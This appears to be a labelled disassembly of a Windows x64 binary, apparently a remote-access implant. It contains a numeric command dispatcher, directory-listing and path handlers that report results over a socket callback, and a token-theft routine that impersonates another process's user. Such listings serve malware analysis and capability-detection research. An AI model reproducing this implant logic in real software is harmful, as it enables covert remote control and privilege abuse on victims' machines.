Function at 0x140066ba8
Capabilities:
Enumerate files on windows
Get common file path
Set current directory
Write file on windows

Disassembly:
cmp edx, 0x3ff
jg 0x140063979
push rbx
sub rsp, 0x430
mov rax, qword [0x1400b34a8]
xor rax, rsp
mov qword [rsp + 0x420], rax
movsxd rbx, edx
mov rdx, rcx
mov r8, rbx
lea rcx, [rsp + 0x20]
call fcn.14006dac0
lea rcx, [rsp + 0x20]
mov byte [rsp + rbx + 0x20], 0
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov rcx, qword [rsp + 0x420]
xor rcx, rsp
call fcn.140068c30
add rsp, 0x430
pop rbx
ret
and dword [0x1400b3010], 0
xor edx, edx
mov rax, rcx
xor ecx, ecx
lea r8d, [rdx + 0x1a]
jmp rax
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x1400b34a8]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rbx, rcx
mov edi, edx
mov ecx, 0x8000
call fcn.140063ff0
mov r13d, 0x2000
mov rcx, rax
mov edx, r13d
mov r12, rax
call fcn.1400640f4
mov edx, r13d
mov rcx, r12
mov rbp, rax
call fcn.1400640f4
mov edx, r13d
mov rcx, r12
mov rsi, rax
call fcn.1400640f4
mov edx, r13d
mov rcx, r12
mov r14, rax
call fcn.1400640f4
mov r8d, edi
lea rcx, [rsp + 0x28]
mov rdx, rbx
mov r15, rax
call fcn.1400640b0
mov r8d, r13d
lea rcx, [rsp + 0x28]
mov rdx, rbp
call fcn.14006414c
mov r8d, r13d
lea rcx, [rsp + 0x28]
mov rdx, r14
call fcn.14006414c
lea rcx, [rsp + 0x28]
call fcn.14006411c
mov r8d, r13d
movzx ebx, ax
mov rdx, rsi
mov rcx, rbp
call fcn.140063e38
mov r9d, r13d
mov r8, rsi
mov edx, r13d
mov rcx, r15
call fcn.14006d9bc
mov r9d, r13d
mov r8, r14
mov edx, r13d
mov rcx, r15
call fcn.14006d9bc
test bl, 1
je 0x140063aaa
lea rcx, [rsp + 0x20]
call fcn.1400638ac
or rdx, 0xffffffffffffffff
inc rdx
cmp byte [r15 + rdx], 0
jne 0x140063a87
inc edx
mov r8d, ebx
mov rcx, r15
call fcn.140063ea4
mov rcx, qword [rsp + 0x20]
call fcn.1400638e4
jmp 0x140063ac5
or rdx, 0xffffffffffffffff
inc rdx
cmp byte [r15 + rdx], 0
jne 0x140063aae
inc edx
mov r8d, ebx
mov rcx, r15
call fcn.140063ea4
mov rcx, r12
call fcn.140064084
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140068c30
mov rbx, qword [rsp + 0xa0]
add rsp, 0x50
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
push rbx
sub rsp, 0x830
mov rax, qword [0x1400b34a8]
xor rax, rsp
mov qword [rsp + 0x820], rax
mov rbx, rcx
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x800
call fcn.14006c5b0
lea rdx, [rsp + 0x20]
mov ecx, 0x800
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
je 0x140063b47
mov r8d, reloc.WS2_32.dll_send
lea rcx, [rsp + 0x20]
mov edx, eax
call rbx
mov rcx, qword [rsp + 0x820]
xor rcx, rsp
call fcn.140068c30
add rsp, 0x830
pop rbx
ret
sub rsp, 0x48
mov rax, qword [0x1400b34a8]
xor rax, rsp
mov qword [rsp + 0x38], rax
cmp dword [0x1400b3010], 0
je 0x140063e26
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.1400640b0
lea rcx, [rsp + 0x20]
call fcn.1400640c0
lea rcx, [rsp + 0x20]
mov dword [0x1400b3010], eax
call fcn.1400640c0
mov dword [0x1400b3fc0], eax
dec eax
cmp eax, 0x62
jbe 0x140063e26
and dword [0x1400b3fc0], 0
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140068c30
add rsp, 0x48
ret
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
mov rax, qword [0x1400b34a8]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov rbx, rcx
mov r13, r8
mov ecx, 0x1000
mov edi, edx
call fcn.140063ff0
mov r14d, 0x800
mov rcx, rax
mov edx, r14d
mov rbp, rax
call fcn.1400640f4
mov edx, r14d
mov rcx, rbp
mov rsi, rax
call fcn.1400640f4
mov r8d, edi
lea rcx, [rsp + 0x38]
mov rdx, rbx
mov r12, rax
call fcn.1400640b0
mov r8d, r14d
lea rcx, [rsp + 0x38]
mov rdx, rsi
call fcn.1400641c4
lea rdx, [0x1400a5a44]
mov rcx, rsi
call fcn.14006de90
mov rdi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140064687
xor edx, edx
mov rcx, rax
lea r8d, [rdx + 2]
call fcn.14006e458
mov rcx, rdi
call fcn.14006e91c
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov r15, rax
call fcn.14006e458
lea rcx, [r15 - 1]
mov eax, 0xfffffffe
cmp rcx, rax
ja 0x140064668
xor r9d, r9d
mov r8, r12
mov edx, r14d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov r14d, eax
lea ecx, [rax - 1]
cmp ecx, 0x7ff
ja 0x140064661
mov ecx, 0x18
call fcn.14006dc2c
mov r8d, dword [0x1400b3f98]
mov edx, 0x1000
mov rcx, qword [0x1400b3f90]
mov rbx, rax
mov qword [0x1400b3f90], rax
mov dword [rax], r8d
inc r8d
mov qword [rax + 0x10], rcx
lea rcx, [rsp + 0x20]
mov dword [0x1400b3f98], r8d
mov qword [rax + 8], rdi
mov dword [rax + 4], r15d
call fcn.140064cd0
mov edx, dword [rbx]
lea rcx, [rsp + 0x20]
call fcn.140064d00
mov edx, r15d
lea rcx, [rsp + 0x20]
call fcn.140064d00
mov r8d, r14d
lea rcx, [rsp + 0x20]
mov rdx, r12
call fcn.140064c44
lea rcx, [rsp + 0x20]
call fcn.1400640f0
lea rcx, [rsp + 0x20]
mov ebx, eax
call fcn.140064e08
mov rcx, rax
mov r8d, 2
mov edx, ebx
call r13
lea rcx, [rsp + 0x20]
call fcn.140064cac
jmp 0x140064694
mov ecx, 0x3d
jmp 0x14006466d
mov ecx, 0x3c
mov rdx, rsi
call fcn.140063710
mov rcx, rbp
call fcn.140064084
mov rcx, rdi
call fcn.14006dd54
jmp 0x14006469c
mov rdx, rsi
mov ecx, 0x28
call fcn.140063710
mov rcx, rbp
call fcn.140064084
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140068c30
mov rbx, qword [rsp + 0xb8]
add rsp, 0x60
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov ecx, dword [rcx]
mov rbx, qword [0x1400b3f90]
call sub.WS2_32.dll_ntohl
mov edi, eax
jmp 0x1400646f5
cmp dword [rbx], edi
jne 0x1400646f1
and dword [rbx + 4], 0
mov rcx, qword [rbx + 8]
call fcn.14006dd54
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400646e0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x100]
sub rsp, 0x200
mov rax, qword [0x1400b34a8]
xor rax, rsp
mov qword [rbp + 0xf0], rax
mov rbx, rcx
mov r15d, 0x4000
mov ecx, r15d
mov r14, r8
mov edi, edx
call fcn.14006dc2c
mov r8d, r15d
xor edx, edx
mov rcx, rax
mov rsi, rax
call fcn.14006c5b0
mov r8d, edi
lea rcx, [rbp - 0x70]
mov rdx, rbx
call fcn.1400640b0
lea rcx, [rbp - 0x70]
call fcn.1400640c0
mov r8d, r15d
lea rcx, [rbp - 0x70]
mov rdx, rsi
mov ebx, eax
call fcn.14006414c
mov edx, 0x200000
lea rcx, [rsp + 0x68]
call fcn.140064cd0
mov edx, ebx
lea rcx, [rsp + 0x68]
call fcn.140064d00
mov r8d, r15d
lea rdx, [0x140080568]
mov rcx, rsi
call fcn.14006dc50
test eax, eax
jne 0x1400647d8
mov rdx, rsi
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov r9d, 2
lea r8, [0x14008056c]
mov edx, r15d
mov rcx, rsi
call fcn.14006d9bc
mov r8, rsi
lea rdx, [0x140080570]
lea rcx, [rsp + 0x68]
call fcn.140064d4c
lea rdx, [rbp - 0x50]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140064847
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, rsi
lea ecx, [rbx + 0x35]
mov r8d, eax
call fcn.140063720
lea rcx, [rsp + 0x68]
call fcn.1400640f0
lea rcx, [rsp + 0x68]
mov ebx, eax
call fcn.140064e08
mov rcx, rax
mov r8d, reloc.WS2_32.dll_shutdown
mov edx, ebx
call r14
mov rcx, rsi
call fcn.14006dc24
jmp 0x14006495a
mov rcx, rsi
call fcn.14006dc24
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x3c]
call qword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
lea r8, [rsp + 0x58]
xor ecx, ecx
lea rdx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
test byte [rbp - 0x50], 0x10
lea r11, [rbp - 0x24]
movzx ecx, word [rsp + 0x62]
movzx edx, word [rsp + 0x60]
je 0x1400648c2
movzx eax, word [rsp + 0x64]
movzx r10d, word [rsp + 0x58]
movzx r9d, word [rsp + 0x5e]
movzx r8d, word [rsp + 0x5a]
mov qword [rsp + 0x40], r11
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
lea rcx, [rsp + 0x68]
mov dword [rsp + 0x28], edx
lea rdx, str.D_t0_t_02d__02d__02d__02d:_02d:_02d_t_s_n
mov dword [rsp + 0x20], r10d
call fcn.140064d4c
jmp 0x140064918
mov eax, dword [rbp - 0x30]
movzx r8d, word [rsp + 0x58]
movzx r10d, word [rsp + 0x5e]
movzx r9d, word [rsp + 0x5a]
mov qword [rsp + 0x48], r11
mov dword [rsp + 0x50], eax
mov eax, dword [rbp - 0x34]
mov dword [rsp + 0x54], eax
movzx eax, word [rsp + 0x64]
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x38], ecx
lea rcx, [rsp + 0x68]
mov dword [rsp + 0x30], edx
lea rdx, str.F_t_I64d_t_02d__02d__02d__02d:_02d:_02d_t_s_n
mov dword [rsp + 0x28], r8d
mov r8, qword [rsp + 0x50]
mov dword [rsp + 0x20], r10d
call fcn.140064d4c
lea rdx, [rbp - 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x14006484f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rcx, [rsp + 0x68]
call fcn.1400640f0
lea rcx, [rsp + 0x68]
mov ebx, eax
call fcn.140064e08
mov rcx, rax
mov r8d, reloc.WS2_32.dll_shutdown
mov edx, ebx
call r14
lea rcx, [rsp + 0x68]
call fcn.140064cac
mov rcx, qword [rbp + 0xf0]
xor rcx, rsp
call fcn.140068c30
mov rbx, qword [rsp + 0x248]
add rsp, 0x200
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x1400b34a8]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rsi, rcx
mov rbx, r8
mov ecx, 0x400
mov ebp, edx
call fcn.14006dc2c
mov rdi, rax
test rax, rax
je 0x140064a5c
mov r8d, ebp
lea rcx, [rsp + 0x20]
mov rdx, rsi
call fcn.1400640b0
mov r8d, 0x400
lea rcx, [rsp + 0x20]
mov rdx, rdi
call fcn.14006414c
mov rcx, rdi
test eax, eax
jne 0x1400649f6
call fcn.14006dc24
jmp 0x140064a5c
mov rdx, rbx
call fcn.14006de90
mov rsi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140064a42
lea rcx, [rsp + 0x20]
call fcn.1400640f0
lea rcx, [rsp + 0x20]
movsxd rbx, eax
call fcn.14006406c
mov rcx, rax
mov r9, rsi
mov r8, rbx
mov edx, 1
call fcn.14006eb6c
mov rcx, rsi
call fcn.14006dd54
mov rcx, rdi
jmp 0x1400649ef
mov rcx, rdi
call fcn.14006dc24
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov ecx, 8
call fcn.140063640
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140068c30
mov rbx, qword [rsp + 0x78]
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
push rbx
sub rsp, 0x40
mov rax, qword [0x1400b34a8]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, qword [0x1400b3fa8]
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.1400640b0
lea rcx, [rsp + 0x20]
call fcn.14006411c
movzx eax, ax
jmp 0x140064ead
cmp dword [rbx], eax
jne 0x140064ea9
mov word [rbx + 0x3a], 1
mov rbx, qword [rbx + 0x30]
test rbx, rbx
jne 0x140064e9f
call fcn.14006512c
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140068c30
add rsp, 0x40
pop rbx
ret
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x50
mov rax, qword [0x1400b34a8]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rbx, qword [0x1400b3fa8]
mov rdi, rcx
lea rcx, [rsp + 0x30]
mov edx, 0x8000
call fcn.140064cd0
jmp 0x140064f20
mov r9d, dword [rbx + 0x3c]
lea rax, [rbx + 0x46]
mov r8d, dword [rbx]
lea rdx, str._d_t_d_t_s_n
mov qword [rsp + 0x20], rax
call fcn.140064d4c
mov rbx, qword [rbx + 0x30]
lea rcx, [rsp + 0x30]
test rbx, rbx
jne 0x140064f00
call fcn.1400640f0
lea rcx, [rsp + 0x30]
mov ebx, eax
call fcn.140064e08
mov rcx, rax
mov r8d, socket
mov edx, ebx
call rdi
lea rcx, [rsp + 0x30]
call fcn.140064cac
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140068c30
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
sub rsp, 0x28
mov eax, r8d
mov r9, rdx
cmp ecx, 0x1f
ja 0x140066c6a
je 0x140066c55
sub ecx, 3
je 0x140066c45
sub ecx, 1
je 0x140066c37
sub ecx, 1
je 0x140066c29
sub ecx, 5
je 0x140066c14
sub ecx, 1
je 0x140066bff
sub ecx, 8
je 0x140066bf1
cmp ecx, 9
jne 0x140066cfb
add rsp, 0x28
jmp 0x140068618
mov edx, eax
mov rcx, r9
add rsp, 0x28
jmp 0x1400646c4
lea r8, [fcn.140063b60]
mov edx, eax
mov rcx, r9
add rsp, 0x28
jmp 0x1400644c8
lea r8, [0x1400a5a40]
mov edx, eax
mov rcx, r9
add rsp, 0x28
jmp 0x14006498c
mov edx, eax
mov rcx, r9
add rsp, 0x28
jmp 0x14006391c
mov edx, eax
mov rcx, r9
add rsp, 0x28
jmp 0x140063dcc
lea rcx, [fcn.140063b60]
add rsp, 0x28
jmp 0x14006397c
lea r8, [fcn.140063b60]
mov edx, eax
mov rcx, r9
add rsp, 0x28
jmp 0x14006866c
sub ecx, 0x20
je 0x140066cea
sub ecx, 7
je 0x140066cda
sub ecx, 2
je 0x140066cca
sub ecx, 1
je 0x140066cbc
sub ecx, 0xb
je 0x140066ca7
sub ecx, 0xe
je 0x140066c9b
cmp ecx, 0xb
jne 0x140066cfb
mov edx, eax
mov rcx, r9
add rsp, 0x28
jmp 0x140063994
lea r8, [0x140080d28]
jmp 0x140066c1b
lea r8, [fcn.140063b60]
mov edx, eax
mov rcx, r9
add rsp, 0x28
jmp 0x140064708
mov edx, eax
mov rcx, r9
add rsp, 0x28
jmp 0x140064e64
lea rcx, [fcn.140063b60]
add rsp, 0x28
jmp 0x140064ecc
lea rcx, [fcn.140063b60]
add rsp, 0x28
jmp 0x140063af4
lea r8, [fcn.140063b60]
mov edx, eax
mov rcx, r9
call fcn.14006781c
add rsp, 0x28
ret
sub rsp, 0x28
mov rcx, qword [0x1400b7fe0]
test rcx, rcx
je 0x14006862e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
and qword [0x1400b7fe0], 0
call qword [sym.imp.ADVAPI32.dll_RevertToSelf]
mov rcx, qword [0x1400b8000]
test rcx, rcx
je 0x140068667
call fcn.140064084
xorps xmm0, xmm0
xor eax, eax
movups xmmword [0x1400b7fe8], xmm0
mov qword [0x1400b8008], rax
movups xmmword [0x1400b7ff8], xmm0
add rsp, 0x28
ret
cmp edx, 4
jne 0x1400687f9
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x250
mov rax, qword [0x1400b34a8]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov ecx, dword [rcx]
mov rsi, r8
and qword [rsp + 0x30], 0
call sub.WS2_32.dll_ntohl
mov r8d, eax
xor edx, edx
mov ecx, 0x400
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x1400686db
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rdi + 0x21]
mov r8d, eax
mov edx, ebx
call fcn.14006364c
jmp 0x1400687d5
lea r8, [rsp + 0x30]
mov edx, 0xf01ff
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1400686ff
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x24
jmp 0x1400686cc
call 0x140068618
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x140068720
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x25
jmp 0x1400686cc
mov rcx, qword [rsp + 0x30]
lea rax, [0x1400b7fe0]
mov qword [rsp + 0x28], rax
mov r9d, 3
xor r8d, r8d
mov dword [rsp + 0x20], 1
mov edx, 0x2000000
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
jne 0x140068761
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x26
jmp 0x1400686cc
mov rcx, qword [0x1400b7fe0]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x140068782
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x27
jmp 0x1400686cc
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x14006879b
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x1400b7fe0]
lea rdx, [rsp + 0x40]
mov r8d, 0x200
call fcn.1400687fc
test eax, eax
je 0x1400687d5
lea rax, [rsp + 0x40]
or rdx, 0xffffffffffffffff
inc rdx
cmp byte [rax + rdx], 0
jne 0x1400687bf
mov r8d, reloc.WS2_32.dll_ntohs
lea rcx, [rsp + 0x40]
call rsi
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.140068c30
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret